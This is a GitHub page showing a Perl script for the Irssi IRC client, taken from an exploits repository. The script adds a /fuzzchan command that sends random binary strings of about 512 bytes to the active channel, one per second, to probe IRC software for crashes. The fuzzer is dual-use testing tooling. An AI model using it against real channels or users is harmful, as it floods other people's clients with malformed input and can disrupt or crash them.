forked from hackerhouse-opensource/exploits
-
Notifications
You must be signed in to change notification settings - Fork 0
/
irssi-irc-fuzzer.pl
executable file
·62 lines (55 loc) · 1.13 KB
/
irssi-irc-fuzzer.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
use Irssi;
use Irssi::Irc;
use vars qw($VERSION %IRSSI);
$VERSION = "0";
%IRSSI = (
"name" => "fuzz",
"url" => "http://prdelka.blackart.org.uk"
);
use IPC::Open3;
my @buffer;
my $verbose;
my $debug = 1; # if set to 1 we get verbose output
for($a = 0;$a <= 255;$a++)
{
if($a != 47)
{
$buffer[$a] = $a;
}
if($a == 47)
{
$buffer[$a] = 0;
}
}
sub haxor() {
my $out = "";
$verbose = "[PDK]";
for($a = 0;$a <= 512;$a++)
{
my $length = $#buffer + 1;
$length = rand($length);
$length = int $length;
$out .= sprintf("%c",$buffer[$length]);
$verbose .= sprintf("\\x%x",$buffer[$length]);
}
return $out;
}
sub cmd_fuzzchan {
my ($param, $server, $witem) = @_;
$param = int $param;
if($param)
{
for(my $a = 0;$a <= $param;$a++)
{
$exploit = haxor();
$cmd = Irssi::active_win()->get_active_name();
$server->command("msg $cmd ".$exploit);
if($debug == 1)
{
$server->command("msg $cmd ".$verbose);
}
sleep(1);
}
}
}
Irssi::command_bind("fuzzchan","cmd_fuzzchan");